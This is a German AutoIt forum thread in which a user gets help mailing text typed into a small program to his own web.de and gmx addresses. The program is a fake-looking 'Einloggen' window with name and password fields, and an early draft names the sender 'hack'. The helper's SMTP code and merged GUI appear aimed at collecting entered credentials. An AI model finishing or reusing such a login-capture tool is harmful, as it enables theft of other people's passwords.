Texte per Email senden

  • Hi Leute
    Ich weiß echt nicht weiter ich habe ein Tool geschrieben wo man Daten eingeben muss. Aber ich bekomm es einfach nicht hin das die Daten die man eingegeben hat per Email versendet werden, oder irgendwo auf einem FTP in einem Dokument gespeichert werden. ?(

    Hier ist der Quellcode:
    Ich bitte um Hilfe ;(

    Spoiler anzeigen
    [autoit]

    #include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #Region ### START Koda GUI section ###
    $Form1_1 = GUICreate("Einloggen", 236, 107, -1, -1)
    GUISetIcon("D:\008.ico")
    $PasswordEdit = GUICtrlCreateInput("", 88, 40, 129, 21, BitOR($ES_PASSWORD,$ES_AUTOHSCROLL))
    $ButtonOk = GUICtrlCreateButton("&OK", 22, 72, 75, 25, 0)
    $ButtonCancel = GUICtrlCreateButton("&Cannel", 135, 72, 75, 25, 0)
    $Input1 = GUICtrlCreateInput("", 88, 8, 129, 21)
    $Label1 = GUICtrlCreateLabel("Name :", 32, 8, 38, 17)
    $Label2 = GUICtrlCreateLabel(" Passwort :", 16, 40, 56, 17)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit

    [/autoit] [autoit][/autoit] [autoit]

    EndSwitch
    WEnd

    [/autoit]

    MFG ChingsKhane

  • Sorry, ich komm einfach nicht weiter ich hab mir eine web.de mail erstellt undsie in diesem Quellcode ergänzt dem ich in dem gepostetem Thema gefunden habe.

    Spoiler anzeigen
    [autoit]

    #include <INet.au3>

    [/autoit] [autoit][/autoit] [autoit]

    #include <ButtonConstants.au3>

    [/autoit] [autoit][/autoit] [autoit]

    #include <EditConstants.au3>

    [/autoit] [autoit][/autoit] [autoit]

    #include <GUIConstantsEx.au3>

    [/autoit] [autoit][/autoit] [autoit]

    #include <WindowsConstants.au3>

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayMenuMode", 1)

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayMenuMode", 1)

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayMenuMode", 1)

    [/autoit] [autoit][/autoit] [autoit]

    #Region ### START Koda GUI section ### Form=

    [/autoit] [autoit][/autoit] [autoit]

    $Form1 = GUICreate("Password Dialog", 251, 210, -1, -1)

    [/autoit] [autoit][/autoit] [autoit]

    GUISetIcon("D:\008.ico")

    [/autoit] [autoit][/autoit] [autoit]

    $Input1 = GUICtrlCreateInput("Input1", 56, 32, 97, 21)

    [/autoit] [autoit][/autoit] [autoit]

    $Button1 = GUICtrlCreateButton("Button1", 48, 112, 81, 33, $WS_GROUP)

    [/autoit] [autoit][/autoit] [autoit]

    GUISetState(@SW_SHOW)

    [/autoit] [autoit][/autoit] [autoit]

    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    While 1

    [/autoit] [autoit][/autoit] [autoit]

    $nMsg = GUIGetMsg()

    [/autoit] [autoit][/autoit] [autoit]

    Switch $nMsg

    [/autoit] [autoit][/autoit] [autoit]

    Case $GUI_EVENT_CLOSE

    [/autoit] [autoit][/autoit] [autoit]

    Exit

    [/autoit] [autoit][/autoit] [autoit]

    case $button1

    [/autoit] [autoit][/autoit] [autoit]

    $s_SmtpServer = "web.de"

    [/autoit] [autoit][/autoit] [autoit]

    $s_FromName = "hack"

    [/autoit] [autoit][/autoit] [autoit]

    $s_FromAddress = "wustpierre123@web.de"

    [/autoit] [autoit][/autoit] [autoit]

    $s_ToAddress = "AutoIT-ChingsKhane@web.de"

    [/autoit] [autoit][/autoit] [autoit]

    $s_Subject = "$input1"

    [/autoit] [autoit][/autoit] [autoit]

    $s_Body = "$input1"

    [/autoit] [autoit][/autoit] [autoit]

    $Response = _INetSmtpMail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $s_Body)

    [/autoit] [autoit][/autoit] [autoit]

    $err = @error

    [/autoit] [autoit][/autoit] [autoit]

    If $Response = 1 Then

    [/autoit] [autoit][/autoit] [autoit]

    MsgBox(0, "Erfolg!", "Die E-Mail wurde versandt")

    [/autoit] [autoit][/autoit] [autoit]

    Else

    [/autoit] [autoit][/autoit] [autoit]

    MsgBox(0, "Fehler!", "Das versenden der E-Mail schlug fehl. Fehlercode: " & $err)

    [/autoit] [autoit][/autoit] [autoit]

    EndIf

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    EndSwitch

    [/autoit] [autoit][/autoit] [autoit]

    WEnd

    [/autoit]

    Nur bei mir kommt immer Fehlercode 4 .
    Ich bitte um hilfe.
    MFG ChingsKhane

  • Danke, aber ich habe jetzt den Quellcode ergänzt. Es funktioniert trozdem nicht kannst du mir sagen was ich falsch gemacht habe ?

    Spoiler anzeigen
    [autoit]

    #include <INet.au3>
    #include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    Opt("TrayMenuMode", 1)
    Opt("TrayMenuMode", 1)
    Opt("TrayMenuMode", 1)
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate("Password Dialog", 251, 210, -1, -1)
    GUISetIcon("D:\008.ico")
    $Input1 = GUICtrlCreateInput("Input1", 56, 32, 97, 21)
    $Button1 = GUICtrlCreateButton("Button1", 48, 112, 81, 33, $WS_GROUP)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    case $button1
    $SmtpServer = "smtp.web.de"
    $IPPort = 587
    $ssl = 0
    $s_FromName = "test"
    $s_FromAddress = "test@web.de"
    $s_ToAddress = "AutoIT-Chingskhane@web.de"
    $s_Subject = "$input1"
    $s_Body = "$input1"
    $Response = _INetSmtpMail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $s_Body)
    $err = @error
    If $Response = 1 Then
    MsgBox(0, "Erfolg!", "Die E-Mail wurde versandt")
    Else
    MsgBox(0, "Fehler!", "Das versenden der E-Mail schlug fehl. Fehlercode: " & $err)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    EndSwitch
    WEnd

    [/autoit]
  • Hallo ChingsKhane,

    du nimmst immer noch das falsche Skript als Grundlage für dein Skript. Nimm einfach das Skript aus Daten an Email senden #11 ergänze es mit den Angaben aus Daten an Email senden #14 und deinen eigenen. Wenn das läuft kannst du darauf weiter aufbauen,

    edit: Skript:

    Spoiler anzeigen

    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

    #include <_INetSmtpMailCom.au3>

    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = "smtp.web.de" ; address for the smtp-server to use - REQUIRED
    $FromName = "DeinName" ; name from who the email was sent
    $FromAddress = "deineAdresse@web.de" ; address from where the mail should come
    $ToAddress = "woeshinsoll@gmx.de" ; destination address of the email - REQUIRED
    $Subject = "Userinfo" ; subject from the email - can be anything you want it to be
    $Body = "Test" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = "" ; the file you want to attach- leave blank if not needed
    $CcAddress = "" ; address for cc - leave blank if not needed
    $BccAddress = "" ; address for bcc - leave blank if not needed
    $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
    $Username = "deineAdresse@web.de" ; username for the account used from where the mail gets sent - REQUIRED
    $Password = "deinPasswort" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 587 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    ;##################################
    ; Script
    ;##################################
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf


    benötigte UDF:

    Spoiler anzeigen
    [autoit]

    ;##################################
    ; Include
    ;##################################
    #Include<file.au3>
    ;
    ; The UDF
    Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
    $objEmail.HTMLBody = $as_Body
    Else
    $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
    $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
    ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
    If FileExists($S_Files2Attach[$x]) Then
    $objEmail.AddAttachment ($S_Files2Attach[$x])
    Else
    ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
    SetError(1)
    Return 0
    EndIf
    Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
    Case "High"
    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
    Case "Normal"
    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
    Case "Low"
    $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
    SetError(2)
    Return $oMyRet[1]
    EndIf
    $objEmail=""
    EndFunc ;==>_INetSmtpMailCom
    ;
    ;
    ; Com Error Handler
    Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
    EndFunc

    [/autoit]

    mfg (Auto)Bert

    Einmal editiert, zuletzt von AutoBert (14. März 2010 um 15:05)

  • Es geht immer noch nicht !!!

    2 Mal editiert, zuletzt von ChingsKhane (14. März 2010 um 15:33)

  • Ok, das Problem habe ich jetzt auch gelöst nun hab ich den Fehler: der Server hat die absendeadresse zurück gewiesen obwohl ich eine 2te web adresse von mir in den absender geschrieben habe.

    Hier ist der Code :

    Spoiler anzeigen
    [autoit]

    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

    [/autoit] [autoit][/autoit] [autoit]

    #include <_INetSmtpMailCom.au3>

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = "smtp.web.de" ; address for the smtp-server to use - REQUIRED
    $IPPort = 587 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    $FromName = "Programm" ; name from who the email was sent
    $FromAddress = "Fosti-Mo-Gamer@web.de" ; address from where the mail should come
    $ToAddress = "AutoIT-ChingsKhane.@web.de" ; destination address of the email - REQUIRED
    $Subject = "Hallo" ; subject from the email - can be anything you want it to be
    $Body = "Test1234" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = "" ; the file you want to attach- leave blank if not needed
    $CcAddress = "" ; address for cc - leave blank if not needed
    $BccAddress = "" ; address for bcc - leave blank if not needed
    $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
    $Username = "AutoIT-Chingskhane@web.de" ; username for the account used from where the mail gets sent - REQUIRED
    $Password = "Ausgeschnitten" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 25 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Script
    ;##################################
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit]
  • Hallo ChingsKhane,

    ändere einbmal wie folgt ab:

    Spoiler anzeigen
    [autoit]

    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

    [/autoit] [autoit][/autoit] [autoit]

    #include <_INetSmtpMailCom.au3>

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = "smtp.web.de" ; address for the smtp-server to use - REQUIRED
    $FromName = "Programm" ; name from who the email was sent
    $FromAddress = "Fosti-Mo-Gamer@web.de" ; address from where the mail should come
    $ToAddress = "AutoIT-ChingsKhane.@web.de" ; destination address of the email - REQUIRED
    $Subject = "Hallo" ; subject from the email - can be anything you want it to be
    $Body = "Test1234" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = "" ; the file you want to attach- leave blank if not needed
    $CcAddress = "" ; address for cc - leave blank if not needed
    $BccAddress = "" ; address for bcc - leave blank if not needed
    $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
    $Username = "AutoIT-Chingskhane@web.de" ; username for the account used from where the mail gets sent - REQUIRED
    $Password = "Ausgeschnitten" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 587 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Script
    ;##################################
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf

    [/autoit]

    jetzt musst du nur noch gültige Adressen verwenden:
    <Fosti-Mo-Gamer@web.de>: host mxint-ha.dlan.cinetic.de[172.20.3.249] said: 550
    Unknown local part Fosti-Mo-Gamer in <Fosti-Mo-Gamer@web.de> (in reply to
    RCPT TO command)
    "AutoIT-ChingsKhane."@web.de>: host mxint-ha.dlan.cinetic.de[172.20.3.249]
    said: 550 Unknown local part "AutoIT-ChingsKhane." in
    <"AutoIT-ChingsKhane."@web.de> (in reply to RCPT TO command)beim Versuch eine EMail direkt aus Web.de an diese Adressen zu versenden

    mfg (Auto)Bert

  • Danke für deine Mühe du hast mir sehr geholfen :D .
    Jetzt bekomm ich auch eine mail mit der entsprechenden Nachricht.

    Könntest du mir auch verraten wie ich meine GUI

    Spoiler anzeigen
    [autoit]

    #include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #Region ### START Koda GUI section ###
    $Form1_1 = GUICreate("Einloggen", 236, 107, -1, -1)
    GUISetIcon("D:\008.ico")
    $PasswordEdit = GUICtrlCreateInput("", 88, 40, 129, 21, BitOR($ES_PASSWORD,$ES_AUTOHSCROLL))
    $ButtonOk = GUICtrlCreateButton("&OK", 22, 72, 75, 25, 0)
    $ButtonCancel = GUICtrlCreateButton("&Cannel", 135, 72, 75, 25, 0)
    $Input1 = GUICtrlCreateInput("", 88, 8, 129, 21)
    $Label1 = GUICtrlCreateLabel("Name :", 32, 8, 38, 17)
    $Label2 = GUICtrlCreateLabel(" Passwort :", 16, 40, 56, 17)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit

    [/autoit] [autoit][/autoit] [autoit]

    EndSwitch
    WEnd

    [/autoit]


    Mit dem Emailcode

    Spoiler anzeigen
    [autoit]

    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

    [/autoit] [autoit][/autoit] [autoit]

    #include <_INetSmtpMailCom.au3>

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = "smtp.web.de" ; address for the smtp-server to use - REQUIRED
    $FromName = "ChingsKhane" ; name from who the email was sent
    $FromAddress = "AutoIT-ChingsKhane@web.de" ; address from where the mail should come
    $ToAddress = "AutoIT-ChingsKhane@gmx.de" ; destination address of the email - REQUIRED
    $Subject = "Userinfo" ; subject from the email - can be anything you want it to be
    $Body = "Hallo ChingsKhane" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = "" ; the file you want to attach- leave blank if not needed
    $CcAddress = "" ; address for cc - leave blank if not needed
    $BccAddress = "" ; address for bcc - leave blank if not needed
    $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
    $Username = "AutoIT-ChingsKhane@web.de" ; username for the account used from where the mail gets sent - REQUIRED
    $Password = "Ausgeschnitten" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 587 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Script
    ;##################################
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf

    [/autoit]

    so verbinden kann so das der eingegeben Text in der Gui an mich gemailt wird ?

  • Hallo ChingsKane,

    so z.B.:

    Spoiler anzeigen
    [autoit]

    #include <ButtonConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #region ### START Koda GUI section ###
    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

    [/autoit] [autoit][/autoit] [autoit]

    #include <_INetSmtpMailCom.au3>

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = "smtp.web.de" ; address for the smtp-server to use - REQUIRED
    $FromName = "ChingsKhane" ; name from who the email was sent
    $FromAddress = "AutoIT-ChingsKhane@web.de" ; address from where the mail should come
    $ToAddress = "AutoIT-ChingsKhane@gmx.de" ; destination address of the email - REQUIRED
    $Subject = "Userinfo" ; subject from the email - can be anything you want it to be
    $Body = "Hallo ChingsKhane" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = "" ; the file you want to attach- leave blank if not needed
    $CcAddress = "" ; address for cc - leave blank if not needed
    $BccAddress = "" ; address for bcc - leave blank if not needed
    $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
    $Username = "AutoIT-ChingsKhane@web.de" ; username for the account used from where the mail gets sent - REQUIRED
    $Password = "Ausgeschnitten" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 587 ; port used for sending the mail normaly 25
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    [/autoit] [autoit][/autoit] [autoit]

    $Form1_1 = GUICreate("Einloggen", 236, 107, -1, -1)
    GUISetIcon("D:\008.ico")
    $PasswordEdit = GUICtrlCreateInput("", 88, 40, 129, 21, BitOR($ES_PASSWORD, $ES_AUTOHSCROLL))
    $ButtonOk = GUICtrlCreateButton("&OK", 22, 72, 75, 25, 0)
    $ButtonCancel = GUICtrlCreateButton("&Cannel", 135, 72, 75, 25, 0)
    $Input1 = GUICtrlCreateInput("", 88, 8, 129, 21)
    $Label1 = GUICtrlCreateLabel("Name :", 32, 8, 38, 17)
    $Label2 = GUICtrlCreateLabel(" Passwort :", 16, 40, 56, 17)
    GUISetState(@SW_SHOW)
    #endregion ### END Koda GUI section ###

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    Case $ButtonOk
    $Body = GuiCtrlRead($Label1) & " hat sich angemeldet!"
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf
    EndSwitch
    WEnd

    [/autoit]

    mfg (Auto)Bert

  • wenn ich das so schreibe wie du es mir in deinem beispiel gezeigt hast funktioniert es nicht dann komnmt immer ein fehler: die nachricht konnte nicht an den SMTP-Server gesendet weden. ;(